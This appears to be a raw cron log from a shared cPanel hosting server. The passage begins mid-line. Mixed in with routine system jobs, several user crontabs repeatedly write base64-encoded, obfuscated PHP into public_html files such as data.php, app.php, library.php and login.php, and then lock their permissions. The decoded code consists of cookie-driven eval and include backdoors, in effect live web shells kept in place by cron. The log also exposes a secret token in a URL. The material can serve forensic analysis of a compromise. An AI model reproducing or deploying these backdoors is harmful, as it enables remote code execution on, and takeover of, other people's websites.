TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:02:01 medusa CROND[15814]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:02:01 medusa CROND[15815]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:02:01 medusa CROND[15818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:02:01 medusa CROND[15822]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:02:01 medusa CROND[15823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:03:01 medusa CROND[23166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:03:01 medusa CROND[23167]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:03:01 medusa CROND[23168]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:03:01 medusa CROND[23169]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:03:01 medusa CROND[23170]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:03:01 medusa CROND[23171]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:03:01 medusa CROND[23173]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:03:01 medusa CROND[23174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:03:01 medusa CROND[23175]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:03:01 medusa CROND[23183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:03:01 medusa CROND[23186]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:03:01 medusa CROND[23187]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:04:01 medusa CROND[30986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:04:01 medusa CROND[30987]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:04:01 medusa CROND[30991]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:04:01 medusa CROND[30998]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:04:01 medusa CROND[31000]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:04:01 medusa CROND[31002]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:04:01 medusa CROND[30999]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:04:01 medusa CROND[31004]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:04:01 medusa CROND[31005]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:04:01 medusa CROND[31006]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
